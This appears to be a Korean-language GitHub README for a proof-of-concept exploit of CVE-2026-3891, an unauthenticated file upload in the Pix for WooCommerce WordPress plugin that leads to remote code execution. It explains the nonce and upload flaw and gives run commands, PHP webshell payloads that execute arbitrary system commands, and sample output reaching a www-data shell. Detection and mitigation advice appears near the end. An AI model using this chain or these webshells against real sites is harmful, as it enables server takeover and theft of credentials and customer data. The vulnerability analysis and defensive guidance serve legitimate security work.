
# CVE-2026-3891 PoC – Pix for WooCommerce ≤ 1.5.0의 인증되지 않은 파일 업로드 RCE. 자동화된 nonce 검색, PHP 업로드 및 명령 실행.
CVE-2026-3891에 대한 개념 증명(PoC) 익스플로잇 – Pix for WooCommerce WordPress 플러그인(≤ 1.5.0)에서 원격 코드 실행으로 이어지는 인증되지 않은 임의 파일 업로드.
CVE-2026-3891은 Pix for WooCommerce 플러그인의 치명적인 취약점으로, 1.5.0까지의 모든 버전에 영향을 미칩니다. 이 플러그인은 AJAX 핸들러 lkn_pix_for_woocommerce_c6_save_settings에서 적절한 권한 및 파일 유형 검사를 수행하지 않습니다. 인증되지 않은 공격자는 이 결함을 악용하여 공개적으로 접근 가능한 디렉터리에 임의의 PHP 파일을 업로드하고 대상 WordPress 서버에서 원격 코드 실행을 달성할 수 있습니다.
이 저장소에는 유효한 논스 가져오기부터 웹셸 업로드까지 전체 공격 체인을 자동화하는 프로덕션급 PoC가 포함되어 있으며, 견고한 오류 처리와 보기 좋은 CLI 인터페이스를 갖추고 있습니다.
certificate_crt_path 파일 파라미터를 올바르게 구성합니다.--check)을 선택적으로 검증합니다.[ * ], [ + ], [ - ], [ ! ] 접두사가 붙어 한눈에 읽을 수 있습니다.근본 원인은 플러그인이 등록한 두 개의 AJAX 액션에 있습니다.
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
이 액션은 wp_ajax_nopriv_*에 연결되어 있으므로 인증되지 않은 방문자도 접근할 수 있습니다. lkn_pix_for_woocommerce_c6_settings_nonce 액션에 대한 논스를 생성하고 JSON 형식으로 반환합니다:
{"success":true,"data":{"nonce":"abc123..."}}
권한 검사나 사용자 인증이 전혀 수행되지 않으므로 누구나 유효한 논스를 요청할 수 있습니다.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
이 핸들러는 certificate_crt_path라는 파일 업로드 필드를 포함한 플러그인 설정을 저장합니다. 업로드는 WordPress의 media_handle_upload 헬퍼를 통해 수행되지만, 플러그인은 다음을 수행하지 않습니다:
current_user_can 누락)..php 파일 허용).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
논스는 CSRF만 방지하며 누구나 획득할 수 있으므로, 공격자는 이 두 액션을 연쇄적으로 사용하여 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.
www-data 또는 apache)으로 전체 웹셸에 접근할 수 있습니다.wp-config.php, 데이터베이스 자격 증명, 고객 데이터를 읽을 수 있습니다.requests 라이브러리가 포함된 Python 3.8+(pip install requests로 설치).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
더 세밀한 제어가 필요하면 명령줄 옵션을 사용하세요:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*로 등록되어 있으므로 논스는 항상 획득 가능합니다. 쿠키나 세션이 필요 없습니다.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – 앞서 획득한 논스certificate_crt_path – 멀티파트 파일 업로드(페이로드).php 파일이 허용되며 이름 변경 없이 저장됩니다.업로드가 성공하면 파일은 다음 위치에 저장됩니다:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
이 디렉터리는 웹에서 직접 접근 가능하며, 웹 서버가 PHP 파일을 처리하도록 구성된 경우(WordPress 관리 서버의 기본 설정) PHP 파일이 실행됩니다.
certs_c6 디렉터리에 예상치 못한 PHP 파일이 나타남(특히 woocommerce.php, shell.php 등의 파일).admin-ajax.php POST 요청.?cmd=id와 같은 쿼리 파라미터를 포함한 .../certs_c6/ 직접 접근이 기록된 액세스 로그.WordPress 로그에서 다음을 모니터링하세요:
action=lkn_pix_for_woocommerce_generate_nonce 및 action=lkn_pix_for_woocommerce_c6_save_settings를 사용한 /wp-admin/admin-ajax.php 반복 POST 요청.certs_c6 폴더에 새 파일 생성. 파일 무결성 모니터링 도구(예: Tripwire, OSSEC)를 사용하여 변경 사항을 알림으로 받으세요.certs_c6 디렉터리 내부의 PHP 실행을 거부하도록 구성하세요(예: php_flag engine off가 포함된 .htaccess 사용).current_user_can('manage_options'), 업로드에는 적절한 논스 검증 및 권한 검사).이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
면책 고지: 이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 저자는 이 소프트웨어로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
이 PoC가 유용하다면 GitHub에서 ⭐를 눌러 주시고 책임감 있게 공유해 주세요. 기여, 이슈, 풀 리퀘스트는 언제나 환영합니다!
즐거운 해킹 되세요! 🛡️
| Flag | Description | Default |
|---|
target (위치 인수) | WordPress 사이트의 기본 URL입니다. | 필수 |
-f, --filename | 업로드할 PHP 파일의 이름입니다. | woocommerce.php |
-p, --payload | 업로드할 PHP 코드입니다. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | 요청 시간 초과(초)입니다. | 15 |
-r, --retries | 논스 검색의 최대 재시도 횟수입니다. | 2 |
--no-banner | ASCII 아트를 숨깁니다. | (끔) |
--no-verify | 업로드 후 접근 가능 여부 확인을 건너뜁니다. | (끔) |
--check | 업로드 후 웹셸에서 id를 실행합니다. | (끔) |